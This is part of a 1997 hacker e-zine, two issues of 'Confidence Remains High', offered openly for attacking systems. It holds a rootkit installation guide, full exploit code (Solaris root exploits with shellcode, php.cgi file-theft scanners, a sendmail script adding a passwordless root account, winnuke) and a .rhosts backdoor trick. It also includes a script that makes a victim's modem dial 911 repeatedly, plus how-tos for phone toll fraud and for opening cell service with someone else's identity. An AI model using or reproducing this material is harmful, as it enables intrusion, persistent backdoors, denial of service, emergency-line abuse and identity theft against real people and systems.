{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");
}
�������������������������������������������������������������������������������
2. Using LinuxRootKitIII : suid
�������������������������������������������������������������������������������
Rooting machines is just half the fun, the whole point to owning something
is being able to keep root for as long as possible. To do this many kind
people have released what are known as root kits. There are currently root
kits available for a plethora of operating systems, e.g. Linux, SunOS, and
FreeBSD.
What a root kit does is installs many backdoored and trojanised programs
to replace the existing programs which are used to perform the basic tasks
of the host you owned. These tasks include: logging in, listing files,
listing proccesses and so on.
Focussing on a linux system, mainly because these are the most generally
rooted by the masses. There are a few versions of the rootkit around. The
main two you should have are LinuxRootKitIII, and LinuxRootKitII. You
should have both 2, and 3 because they are for different kinds of linux
machine. Generally, LinuxRootKitII (a.k.a lrk2) is for older Linux kernels
(in the 1.x range) and LinuxRootKitIII (a.k.a lrk3) is for the newer Linux
2.x kernels.
It should be noted somewhere in this article that you need to have owned
(rooted) the machine _before_ you try and install rootkit, installing it
as a non-root user wont work, and wont help you root the machine at all.
Also it should be noted that you shouldn't 'test' lrk2/lrk3 on your own
machine as it will probably just fuck you up.
Ok, now comes the part I like. To use lrk2 or 3, you need a few things, a
Linux box of the correct kernel version, root on that machine, and that
machine needs to be able to compile. Once you have that its not a big
problem. I'll take you thru it step by step.
1. Upload the lrk of the correct type. Remembering that its lrk2 for 1.x
kernels and lrk3 for 2.x kernels. To find out what kernel the remote
host is, type "uname -a" at the prompt, the number with the 2 radix
points is the kernel version.
Example:
[root@sploitable root] # uname -a
Linux sewid.org 2.0.29 #1 Sat Mar 22 17:39:12 EST 1997 i586
Ex1. This is a linux 2.0.29 kernel machine.
Uploading the proper root kit can be easily done by ftp'ing to your
remote machine and uploading it that way into some directory on a
device with sufficient room to store lrk uncompressed. (Lrk3 is over
3mb uncompressed). To check how much space each device has, type df.
2. Untar/gzip it. This can easily be done by chdir'ing to wherever you
uploaded it last step then executing the following command.
[root@sploitable root] # tar -zxvf LRKIII.tar.gz
3. Make it. Linux root kits are quite user friendly provided the
installation goes according to plan. To make the root kit, chdir to
wherever it was untared to (e.g in lrk3, you would type "cd lrk3"
from the directory you untarred it from.) and back up your existing
binaries. To do this its best to know where they are.
Here's a list of the binaries existing location on a common linux
system. You should copy all these as shown.
/bin/login
/usr/bin/passwd
/bin/ps
/bin/ls
/bin/netstat
/usr/bin/du
/usr/bin/top
/usr/bin/rsh
/sbin/ifconfig
/usr/bin/chsh
/usr/bin/chfn
/usr/sbin/inetd
If one of these files isnt on your system, or not in the directory
mentioned above, try to find it using the 'whereis' command.
Example: [root@sploitable lrk3] # whereis inetd
inetd: /etc/inetd.conf /usr/lbin/inetd /usr/man/man8/inetd.8
Bingo you found inetd hiding in /usr/lbin
I suggest copying all these to a directory called bin_bak or something
under your lrk dir. Something like "cp /bin/ls ./bin_bak" for all of
them is a good start.
Ok now you've taken precautions, modify the rootkit.h file that is in
the lrk directory. The minimum you should change is the default rootkit
password:
Example:
#define ROOTKIT_PASSWORD "lrkr0x"
Change this to...
#define ROOTKIT_PASSWORD "code-0"
Or anything you want that is *6 CHARACTERS LONG*.
Ok thats it. Now your read to compile, this part is taken care of by
the make file. All you need to do is type:
"make all install"
The make file takes all the source, compiles it, and places the new
backdoored binaries into all the right places for you.
It should be noted that once backdoored you should _NEVER_ attempt to
change your rootkit password with the 'passwd' command. The root
password is NOT THE SAME AS YOUR ROOTKIT PASSWORD. You may be able to
log into the system by typing "root" at the login prompt then some
password at the the password prompt, but this is a BACKDOOR, it does
not mean the root password is the same as the one you put in rootkit.h.
Happy Ownership.
suid 1997.
�������������������������������������������������������������������������������
===============================================================================
==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
===============================================================================
�������������������������������������������������������������������������������
Well, that was issue 1, hope ya'll liked it, don't forget to visit...
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
And that ends everything, sorry if we spent a little to long straightening some
shit out with sIn, but you deserve to know the truth...
Until next time, when there will be 950 days until the year 2000...
The CodeZero.
===============================================================================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
===============================================================================
�������������������������������������������������������������������������������
Remember, Mcdonalds Owns You, And Ronald Is The KinG!!!
Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#*
�������������������������������������������������������������������������������
crh002.txt100644 1751 12 257364 6355575560 10333 0ustar wheel�������������������������������������������������������������������������������
===============================================================================
=--------------------=====================================--------------------=
=--------------------= Status : Confidence Remains High. =--------------------=
=--------------------= Issue : 002. =--------------------=
=--------------------= Date : May 26th 1997. =--------------------=
=--------------------=====================================--------------------=
===============================================================================
=====================> http://www.codez.com NOW UP!@#* <=====================
===============================================================================
�������������������������������������������������������������������������������
.:. Site Of The Month .:.
�������������������������������������������������������������������������������
=====================> http://www.codez.com NOW UP!@#* <=====================
=====================> http://www.codez.com NOW UP!@#* <=====================
=====================> http://www.codez.com NOW UP!@#* <=====================
�������������������������������������������������������������������������������
In This HUUUUUUuuuUUUUUGE Issue :
�������������������������������������������������������������������������������
-----=> Section A : Introduction And Cover Story.
1. Confidence Remains High Issue 2....................: Tetsu Khan
2. wh0 the King?......................................: so1o
3. www.codez.com......................................: fr1day
-----=> Section B : Exploits And Code.
1. Unpatched Solaris 2.3 / 2.4 Exploit -=> solsuid.c.: Shawn Instenes
2. Pretty Useful Solaris 2.5.1 Exploit -=> ban251.c..: s0me Bugtraq d00d
3. Scan For php Vunerable Servers ------=> phpscan.c.: so1o
4. Use php.cgi To Get Files ------------=> phpget.c..: p1
5. Hiding From Who (incase you didn't read the pilots): so1o
6. Sendmail 8.8.4 / 8.8.5 LOCAL Exploit...............: p1
7. Ident Scanner (ident-scan.c).......................: Dave Goldsmith
8. Windoze NT / 95 Killer : winnuke.c.................: _eci
-----=> Section C : Phones / Scanning / Radio.
1. Federal Bugging Frequencies........................: Weapon-X
2. 911 Autodialler Script.............................: dk
3. Cellular Calls Without Cloning.....................: TRON
-----=> Section D : Miscellaneous.
1. Getting Your Exploits Onto Systems.................: so1o
2. Fakemailing Techniques.............................: so1o
3. Pascal Credit Card Generator Source................: Lobster Guacamole
4. in.courierd : backdoor on port 530.................: so1o
5. UK Laws On Computer Misuse.........................: Darkfool
6. so1o Gets Busted By CERT...........................: so1o
7. CERT Advisory CA-97.13 : xlock vunerablity.........: BugTraq
8. IRiX WWW Server Bugs...............................: Tetsu Khan
9. Hacking Not-So-Electrical Items....................: Tetsu Khan
-----=> Section E : World News.
1. Amnesty International Hacked.......................: Article from cnet.com
2. //sToRm// Of sIn Rips Port Pro.....................: so1o
3. Digital Darkness Lives.............................: so1o
4. /home/sdr 0wned....................................: so1o
5. Sendmail 8.8.4 Remote Is Out.......................: so1o
6. sIn inf0z Part 2...................................: The CodeZero
------=> Section F : Projects.
1. The [C]odeZero [R]emote [A]ttack [K]it (CRAK.tar)..: so1o
-----=> Section G : The End.
�������������������������������������������������������������������������������
===============================================================================
==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
===============================================================================
�������������������������������������������������������������������������������
1. Confidence Remains High Issue 002 : Tetsu Khan
�������������������������������������������������������������������������������
We have been very busy over the last 50 days, but we still managed to put
together the CodeZero Remote Attack Kit, which contains some very cutting
edge tools as well as some very optimised code, we have included all the
programs precompiled to run from a Linux 2.0.x box, this way you dont even
need a compiler to build this shit =) the source will be available when we
can be bothered to put it on our page, so enjoy this second *FREE* issue of...
...Confidence Remains High!
T_K
One last thing, this issue is a BUMPER WWW hacking issue! because CERT and the
IRT are cool, and they think I live in Sweden :) Heres a disclaimer, just in
case anyone does get a bit annoyed :
***************************************************************************
** NONE OF THE DATA CONTAINED WITHIN THIS FILE IS TO BE USED UNETHICALLY **
** USE THIS DATA AT YOUR OWN RISK AND DON'T COME CRYING TO US IF CERT **
** COME ROUND YOUR HOUSE AND KICK YOUR FUCKING ASS, KILL YOUR PARENTS **
** AND YOUR DOG AND CONFISCATE ALL YOUR SHIT. **
***************************************************************************
�������������������������������������������������������������������������������
2. wh0 the King? : so1o
�������������������������������������������������������������������������������
Okay, heres a rundown of the main groups and associations around the scene on
the efnet at this moment in time, as well as some comments and members...
r00t
====
Many say r00t own us, members include :
aleph1
Veggie
tfish
As in, Aleph One of dfw.net and underground.org, Death Veggie of the cDc,
Tweety Fish of the cDc Ninja Strike Force (I also heard he designed the NHC
security) as well as ALOT of others who are very well known in the underground.
r00t are definately the biggest group on the scene, and easily the most
powerful.
el8
===
el8 is another very powerful group, with members that between them make el8 a
force to be feared, members include :
prym
bw-
tsal
Overall, a good group, with some very smart people.
The CodeZero
============
We d0nt like to talk about ourselves, boosted up to 7 men now :)
The Secret Mouse Society (sms)
==============================
I dont really know much of this groups true power, but members include...
Calidor
vertex
vortex
They have many shells traders, and therefore probably alot of influence in the
shells world, as well as experience, quite a large group.
I wont even talk about Undernet groups, seeing they continually split, join
other groups, change names, rip other people code, shit like that, basically
acting like 12 year old warez kiddies (take sIn for example, or maybe even
Psychosis.)
�������������������������������������������������������������������������������
3. www.codez.com : fr1day
�������������������������������������������������������������������������������
Yah000!!!@# wE gOt A dOmAin!!!@~#
On www.codez.com we will have 40mb of space, this will include the following..
-=[ The Confidence Remains High Distro Point
-=[ The CodeZero Exploits / Programs And Tools Page
-=[ The Solaris 2.4 / 2.5.x Exploit Collection
-=[ The Solaris Tools Collection
-=[ The Solaris CodeZero Tools Collection
-=[ The Linux 2.0.x Exploit Collection
-=[ The Linux Tools Collection
-=[ The Linux CodeZero Tools Collection
-=[ W1nd0ze And d0S Tools Collection
-=[ Assorted Text Philes Collection
-=[ The CodeZero FTP Site
-=[ H/P/A/V/C E-Zine Archive
-=[ CodeZero Precompiled Linux / Solaris Tools And Exploits Archive
So don't delay! GO THERE TODAY!@# And if you can, please link your sites to
www.codez.com, as we would be very grateful :) Seeing we are basically giving
all this shit to you for PHREE!
phr1day
�������������������������������������������������������������������������������
===============================================================================
==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]==
===============================================================================
�������������������������������������������������������������������������������
1. Unpatched Solaris 2.3 / 2.4 Exploit : solsuid.c : Shawn Instenes
�������������������������������������������������������������������������������
/*
If a tty port that is writeable by the user and owned by root is
opened and the I_PUSH "ms" ioctl call made followed by an lseek
the effective uid of the user is changed to root.
*/
#include
#include
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char* argv[];
{
int fd;
if (argc < 2)
{
fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]);
exit(1);
}
fd = open("/dev/ttyb", O_RDWR);
printf("Your current effective uid is %d\n", geteuid());
ioctl(fd, I_PUSH, "ms");
lseek(fd, 0, 1);
printf("Your effective uid has been changed to %d\n", geteuid());
}
�������������������������������������������������������������������������������
2. Pretty Useful Solaris 2.5.1 Exploit : ban251.c : s0me bugtraq d00d
�������������������������������������������������������������������������������
/* Written for Solaris 2.5.1 (sunOS 5.5.1) with /bin/eject */
#include
#include
#include
#include
#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf[1],(char *) 0);
perror("execl failed");
}
�������������������������������������������������������������������������������
3. Scan For php Vunerable Servers : phpscan.c : so1o
�������������������������������������������������������������������������������
The next two programs, phpscan.c and phpget.c are fully compiled in the
CodeZero Remote Attack Kit, details about the whole kit in section F, part 2.
These two programs use a hole in the php.cgi code that allows remote users to
read any file on the system that the http daemon has access to.
Vunerable servers I have found include www.2600.com (FreeBSD 2.1), so it does
have some effect, use phpscan.c to scan from a list of hosts, then phpget.c to
retrieve files from the remote hosts.
Here begins the c0de...
/*
phpscan.c : php.cgi vunerable server scanning program.
Basically a modified phf scanner, by Alhambra of The Guild.
Modifications to php.cgi by so1o of The CodeZero.
Usage:
phpscan
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef LINUX
#include
#endif
#include
#include
#include
#include
#include
#include
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;
char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n";
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta);
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;
alarm(10);
X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
alarm(0);
if(FLAG == 1 && X==0){
write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}
�������������������������������������������������������������������������������
4. Use php To Get Files : phpget.c : p1
�������������������������������������������������������������������������������
Heres the phpget.c, use it wisely...Some useful files to pull include...
/etc/passwd
/etc/hosts
/etc/services
/etc/syslogd.conf
/etc/inetd.conf
/*
p1 ([email protected])
This code retrieves a file using php.cgi on a remote system.
This program is for educational purposes only. Use it on p1.com.
*/
#include
#include
#include
#include
#include
#include
#include
#include
FILE *server;
int sock;
void do_connect(char *host, char *toget);
void do_connect(char *host, char *toget)
{
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
char *tmpbuf;
hp = gethostbyname(host);
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
printf("Made connection to %s.\n\n", host);
} else {
printf("Failed to connect to %s.\n\n",host);
exit(0);
}
server=fdopen(sock, "a+");
fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget);
printf("Output from php.cgi request:\n\n");
while(1){
if (fgets(inbuf, 1024, server) == NULL)
break;
printf(inbuf);
}
}
main(int argc,char **argv)
{
printf("\nThis program retrieves files off a remote system using php.cgi.\n");
printf("Author: p1 - [email protected]\n");
if (argc < 3) {
printf("Usage: %s \n",argv[0]);
printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]);
}
else {
char *buffer;
(char *)"exit";
do_connect(argv[1],argv[2]);
exit(1);
}
}
�������������������������������������������������������������������������������
5. Hiding From Who : so1o
�������������������������������������������������������������������������������
Okay, bog standard easy shit, works on nearly all systems depending on security
arrangements, I advise you always try this method first when trying to hide.
DONT type the % signs !!!@~"!* ThEy ArE PrOmPtZ!!!
Telnet into the system, then type...
% cd
% echo "+ +" >> .rhosts
If this gives an error, like "Cannot create .rhosts" then try...
% cd
% echo "+ +" > .rhosts
Next telnet to the machines EXACT address, not 127.0.0.1 or localhost,
this way works the most effectively..as it says "last login from..." and you
don't want your ip to be mentioned, or for anyone to get suspicious, so you
will need to cover your tracks.
% telnet machine.host.com
(then log in again, using the same L/P)
now exit completely, using exit twice.
The system is now all set up for you to log in without being seen or logged,
as the + + you echo to the .rhosts file in the users home directory is actually
used so that you can remotely execute commands on the system using rsh, or
login into the system remotely, using rlogin, neither operations require a
password, just a login name, so if the user changes his password, you will
still be able to use this technique, now we can attempt to log into the
system untraced, for this we need to either run linux, or be in a shell,
follow this one, easy step, replace "login" with your login, and host.com
with the EXACT host you want to get into...
% rsh -l login host.com csh -i
eg...
% rsh -l tetsu microsoft.com csh -i
This then runs csh (c shell) on the remote host (microsoft) in
interactive mode..you should see something like this...
% rsh -l tetsu microsoft.com csh -i
...Thus no control on this tty, blah blah blah
%
Now you are in, type who :
% who
%
w00 w00!! no-one seems to be logged in, and you are therefore hidden!! Now
you can proceed to hack the host without having to worry whos watching you.
Note : Systems Administrators often look over their users directories for
.rhosts files, so be aware of that.
�������������������������������������������������������������������������������
6. Sendmail 8.8.4 / 8.8.5 LOCAL Exploit : p1
�������������������������������������������������������������������������������
If modeX would have given us his 884 REMOTE exploit with all the offsets, then
we would have published it, but he didn't, so we ain't :( Have the local version
instead...
#!/bin/bash
clear
echo
echo Sendmail 8.8.4 and 8.8.5 local exploit.
echo Scripting by p1 \([email protected]\) on 4-15-97.
echo
if [ $1 = "-rm" ]
then
echo Removing /var/tmp/dead.letter
echo
rm -rf /var/tmp/dead.letter
echo Attempting to continue with exploit.
echo
fi
if [ -e /var/tmp/dead.letter ]
then
echo File exists: /var/tmp/dead.letter
echo
echo If you wish to run this exploit, please delete it by running this
echo exploit with the -rm flag.
echo
exit
fi
ln -s /etc/passwd /var/tmp/dead.letter
cat >> unf << _EOF_
helo
mail from: [email protected]
rcpt to: [email protected]
data
owned::0:0:exploitation:/:/bin/sh
.
_EOF_
cat unf | telnet localhost 25 >> /dev/null
rm -rf unf
echo
echo Please wait for dead.letter to possibly be appended to by sendmail.
echo
sleep 10
if grep exploitation /etc/passwd
then
echo Successful addition of account 'owned' to /etc/passwd, running 'su.'
su owned
else
echo Unsuccessful exploitation of symbolic link bug.
fi
�������������������������������������������������������������������������������
7. Ident Scanner : ident-scan.c : Dave Goldsmith
�������������������������������������������������������������������������������
Very very useful and quick tool, especially if it finds daemons running as root
that shouldn't be...Or even backdoors on high ports.
Usage : ident-scan [low port] [high port]
/*
* ident-scan [v0.15]
* This TCP scanner has the additional functionality of retrieving
* the username that owns the daemon running on the specified port.
* It does this by by attempting to connect to a TCP port, and if it
* succeeds, it will send out an ident request to identd on the
* remote host. I believe this to be a flaw in the design of the
* protocol, and if it is the developers intent to allow 'reverse'
* idents, then it should have been stated clearer in the
* rfc(rfc1413).
*
* USES:
* It can be useful to determine who is running daemons on high ports
* that can be security risks. It can also be used to search for
* misconfigurations such as httpd running as root, other daemons
* running under the wrong uids.
*
* COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x.
*
* Dave Goldsmith
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
enum errlist
{
BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR
};
void
usage(error)
enum errlist error;
{
fprintf(stderr,"ident-scan: ");
switch(error)
{
case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] [hi port]\n");
break;
case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
break;
case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
break;
case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
break;
}
exit(-1);
}
struct hostent *
fill_host(machine,host)
char *machine;
struct hostent *host;
{
if ((host=gethostbyname(machine))==NULL)
{
if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
return(host);
}
return(host);
}
int
main(argc,argv)
int argc;
char **argv;
{
struct sockaddr_in forconnect,forport,forident;
int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
struct servent *service;
struct hostent *host;
char identbuf[15], recieved[85], *uid;
if ((argc<2) || (argc>4))
usage(BAD_ARGS);
if (argc>2)
loport=atoi(argv[2]);
if (argc>3)
hiport=atoi(argv[3]);
if ((host=fill_host(argv[1],host))==NULL)
usage(BAD_HOST);
forconnect.sin_family=host->h_addrtype;
forconnect.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_family=host->h_addrtype;
forident.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_port=htons(113);
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
usage(NO_IDENT);
close(identfd);
for(curport=loport;curport<=hiport;curport++)
{
for(i=0;i!=85;i++)
recieved[i]='\0';
forconnect.sin_port=htons(curport);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==0)
{
if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
{
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))==0)
{
sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
htons(forport.sin_port));
write(identfd,identbuf,strlen(identbuf)+1);
read(identfd,recieved,80);
recieved[strlen(recieved)-1]='\0';
uid=strrchr(recieved,' ');
service=getservbyport(forconnect.sin_port,"tcp");
printf("Port: %3d\tService: %10s\tUserid: %s\n",curport,
(service==NULL)?"(?)":service->s_name,uid);
}
}
}
close(sockfd);
close(identfd);
}
}
�������������������������������������������������������������������������������
8. Windoze NT / 95 Killer : winnuke.c : _eci
�������������������������������������������������������������������������������
/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include
#include
#include
#include
#include
#include
#include
#define dport 139 /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye"; /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s \n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
�������������������������������������������������������������������������������
===============================================================================
==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
===============================================================================
�������������������������������������������������������������������������������
1. Federal Bugging Frequencies : Weapon-X
�������������������������������������������������������������������������������
Commonly Used by Federal Agencies for Bugs, Wireless Microphones,
and Body Wires (also 138-220 mhz, and 399-420 mhz, under 25-50 mw).
149.3500, 165.9125, 167.3375, 167.3425, 167.4875, 168.0115,
169.2000, 169.4450, 169.5050, 170.2450, 170.3050, 171.0450,
171.1050, 171.4500, 171.6000, 171.7500, 171.8450, 171.8500,
171.9050, 172.0000, 172.2000, 172.2125, 172.2375, 172.2625,
172.2875, 172.3125, 172.3375, 172.3625, 172.3875, 172.5500
173.3375
169.445, 169.505, 170.245, 170.305, 171.045, 171.105, 171.845, 171.905
27.5750 Customs Low Power < 5 watts
27.5850 Customs Low Power < 5 watts
163.1000 Customs Low Power < 30 watts
418.5750 Customs Low Power < 30 watts
40.1200 Federal Shared Mobile Locator Tranmitters "Bumper Beepers"
40.1700 Federal Shared Mobile Locator Tranmitters "Bumper Beepers"
40.2200 Federal Shared Mobile Locator Tranmitters "Bumper Beepers"
40.2700 Federal Shared Mobile Locator Tranmitters "Bumper Beepers"
164.9125 FBI Surveillance
165.9125 ATF F5 Surveillance
166.2875 ATF
170.4125 ATF
407.8000 Secret Service
406.2750 Secret Service
408.5000 Secret Service
408.9750 Secret Service
172.2000 DOJ/DEA CH.1
171.6000 DOJ/DEA CH.2
418.0500 DEA Low Power
418.0750 DEA Low Power
418.5750 DEA Low Power
418.7500 DEA
418.6750 DEA
418.9000 DEA F2 CINDY (416.325) Surveillance
418.7500 DEA F3 GAIL Surveillance/Strike Force
418.6750 DEA F4 EMILY (416.325) Surveillance
407.8000 CIA, State Department
408.0500 Federal Shared
408.5750 Federal Shared
409.4000 Federal Shared
960-1215mhz Spread Spectrum Systems (Wideband)
Generally Recognized Federal Bug/Spy Bands
Primary - 25-50mhz, 135-175mhz, 225-440mhz, 1710-1950mhz, 8.3-12.5ghz
Secondary - 890mhz-5.50ghz, 7.0-9.5ghz, 10-39.6ghz
Also, Wide Band Frequency Hopping centered on various UHF-TV channels
(ie: 510 or 670 mhz with a hopping width of +/- 25 mhz)
Keep in mind that the federal government can use virtually any
frequency between DC and light. So get scanning now!!
�������������������������������������������������������������������������������
2. 911 Autodialler Script : dk
�������������������������������������������������������������������������������
Okay, scenario...
Your Friend g1mpfuck is on his linux system, you have never really liked him,
and he has gone out to someplave for a few hours, to be back this evening...
If you root his system, and run this, his modem will dial 911 every 10 mins,
but as soon as you do run it, it will kill the pppd and dial the number, so if
he's on IRC, then he will quit... Here it is! Read the instructions in the
code first...
#!/bin/sh
# 911-autodial.sh
#
# for use with linux boxes running DIP.
# dials 911 every ten minutes, and if the user is using pppd
# it kills pppd in order to place the call.
# IMPORTANT!!!
# add this line to root's crontab with: crontab -e root
# 2,12,22,32,42,52 * * * * /path/to/911-autodial.sh
# note: this assumes the modem device is: /dev/modem
# if it is otherwise change "port modem" to
# "port cua1" or whatever the modem device is
# although it is usally /dev/modem.
echo " get $local 0.0.0.0" >> /tmp/911.dip
echo " get $remote 0.0.0.0" >> /tmp/911.dip
echo " port modem" >> /tmp/911.dip
echo " speed 38400" >> /tmp/911.dip
echo " reset" >> /tmp/911.dip
echo " send ATQ0V1E1X4\r" >> /tmp/911.dip
echo " wait OK 2" >> /tmp/911.dip
echo " dial 911" >> /tmp/911.dip
ps -aux|grep pppd|grep -v grep >> /tmp/ppp-check
grep "^root" /tmp/ppp-check > /dev/null 2>&1
if [ $? -ne 0 ] ; then
echo "PPP IS DEAD" > /tmp/ppp-dead
fi
if [ -f /tmp/ppp-dead ]; then
/sbin/dip /tmp/911
rm /tmp/ppp-*
rm /tmp/911.dip
exit 1
fi
kill `ps -ax|grep pppd|grep -v grep|awk 'BEGIN {FS=" ";OFS=" "} {print $1}`
/sbin/dip /tmp/911
rm /tmp/ppp-*
rm /tmp/911.dip
exit 1
�������������������������������������������������������������������������������
3. Cellular Calls Without Cloning : TRON
�������������������������������������������������������������������������������
There are several ways to make free calls with a cellular phone that does not
have service with the hassle of cloning it, or if you have a phone that can't
be cloned or you don't want to buy the expensive equipment required, so here
are a few ways to do it from home with little risk...
1.) American Roaming Network.
-----------------------------
To reach the American Roaming Network (or something like it, depending on
where you are), put your phone on the alternate carrier side so it says roam,
then dial 0 and it should tell you your call is being forwarded.
At that point you should be connected to an automated system, form here you
have a couple of billing options...
To use a credit or calling card, you enter the area code and number you want
to call; for a calling card you then enter the card number and pin, for a
credit card you then enter the card number and expirarion date, then the zip
code of the billing address. ARN takes MasterCard, American Express, and
most local and long distance company calling cards. They say they dont take
VISA anymore, but I've gotten them to work on the automated system.
If the number you call is busy or doesn't answer, you can press * and then
either leave a message that the system will deliver, or try another number.
If you want to dial another number you will have to put the zip code again
after the new number.
You can also make collect and 3rd party billed calls by dialing 0 instead of
the number to call when you connect to ARN. You will be sent to an operator,
tell them you would like to place a call. They will then ask how you would
like to bill it. You can set up a local dialup voice mail box and change
the greeting so it sounds like someone's there to accept the charges, the
operator has to read a script, so you have to adjust the timing to get it
just right.
ARN will not 3rd party or collect bill to 800 numbers, nor will they place
calls to 800 numbers charged to 3rd party numbers.
2.) Social Engineering.
-----------------------
Another way is to dial 611 and tell the customer support person that you're
having trouble getting through to the area you're trying yo call and could
they try place the call for you. This works about 50% of the time, it helps
to have the name and cell number of someone who has service with that
provider in case they ask for it, they might ask for the social security
number too, so be prepared, dumpster diving at a cell store is the easiest
place to get that info.
3.) Set Up Service With Someone Else's Info.
--------------------------------------------
The best way, and the one I prefer to cloning, is to get someone else's
information and set up service. The best place to get the information you'll
need is from a place that does credit checks, like a bank or car dealership.
Make sure they have a good rating, like A, B or C, then you wont be asked
for a deposit.
You'll need a name, address, social security number, drivers license number
and work number.
You will also need a cell phone that is not stolen. They will not activate a
